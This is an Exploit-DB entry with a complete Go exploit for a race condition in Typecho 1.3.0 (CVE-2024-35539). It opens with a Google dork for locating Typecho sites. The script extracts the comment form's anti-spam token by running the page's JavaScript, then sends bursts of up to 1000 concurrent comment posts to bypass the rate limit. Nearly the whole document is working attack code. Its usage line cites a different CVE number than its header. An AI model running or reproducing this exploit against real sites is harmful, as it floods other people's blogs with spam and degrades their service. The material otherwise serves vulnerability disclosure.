Exploit-DB #52161
Description: Typecho 1.3.0 - Race Condition
Type: webapps
Platform: php
Date: 2025-04-10
Author: cyberaz0r

Exploit:
# Exploit Title: Typecho 1.3.0 - Race Condition
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35539

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
	"bytes"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"github.com/robertkrimen/otto"
)

var (
	c                    int32 = 0
	commentsPostInterval int64 = 60
	maxThreads           int   = 1000
	wg                   sync.WaitGroup
	userAgent            string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
	client               *http.Client = &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
)

func getJSFunction(u string) string {
	req, err := http.NewRequest("GET", u, nil)
	if err != nil {
		fmt.Println("[X] Error creating initial request:", err)
		return ""
	}

	req.Header.Set("User-Agent", userAgent)
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending initial request:", err)
		return ""
	}

	buf := new(bytes.Buffer)
	buf.ReadFrom(resp.Body)
	body := buf.String()

	if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
		fmt.Println("[X] Error finding JavaScript function")
		return ""
	}

	jsFunction := strings.Split(body, "input.value = (")[1]
	jsFunction = strings.Split(jsFunction, ")();;")[0]

	return jsFunction
}

func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
	vm := otto.New()

	_, err := vm.Run(jsFunctionBody)
	if err != nil {
		fmt.Println("[X] Error executing JavaScript function:", err)
		return ""
	}

	result, err := vm.Call(jsFunctionName, nil)
	if err != nil {
		fmt.Println("[X] Error calling JavaScript function:", err)
		return ""
	}

	returnValue, err := result.ToString()
	if err != nil {
		fmt.Println("[X] Error converting JavaScript result to string:", err)
		return ""
	}

	return returnValue
}

func spamComments(u string, formToken string) {
	timestamp := time.Now().Unix()
	for {
		i := 0

		for time.Now().Unix() < timestamp-1 {
			time.Sleep(250 * time.Millisecond)
			fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds)    ", timestamp-time.Now().Unix()-1)
		}

		fmt.Printf("\n")
		for time.Now().Unix() < timestamp+2 {
			if i < maxThreads {
				wg.Add(1)
				go spamRequest(u, formToken, i)
				i++
			}
		}

		wg.Wait()
		fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
		timestamp = time.Now().Unix() + commentsPostInterval
	}
}

func spamRequest(u string, formToken string, i int) {
	fmt.Printf("\r[*] Spamming comment request %d    ", i)

	defer wg.Done()

	formData := url.Values{}
	formData.Set("_", formToken)
	formData.Set("author", fmt.Sprintf("user_%d", i))
	formData.Set("mail", fmt.Sprintf("user%d@test.example", i))
	formData.Set("text", fmt.Sprintf("Hello from user_%d", i))

	req, err := http.NewRequest("POST", u+"comment", nil)
	if err != nil {
		return
	}

	req.Header.Set("Referer", u)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
	req.Body = io.NopCloser(strings.NewReader(formData.Encode()))

	resp, err := client.Do(req)
	if err != nil {
		return
	}

	if resp.StatusCode == 302 {
		atomic.AddInt32(&c, 1)
	}

	defer resp.Body.Close()
}

func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
		return
	}

	fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")

	targetUrl := os.Args[1]
	fmt.Println("[+] Spam target:", targetUrl)

	fmt.Println("[*] Getting JavaScript function to calculate form token...")
	jsFunction := getJSFunction(targetUrl)
	if jsFunction == "" {
		fmt.Println("[-] Could not get JavaScript function, exiting...")
		return
	}

	fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
	formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
	if formToken == "" {
		fmt.Println("[-] Could not get form token, exiting...")
		return
	}

	fmt.Printf("[+] Form token: %s", formToken)
	spamComments(targetUrl, formToken)
}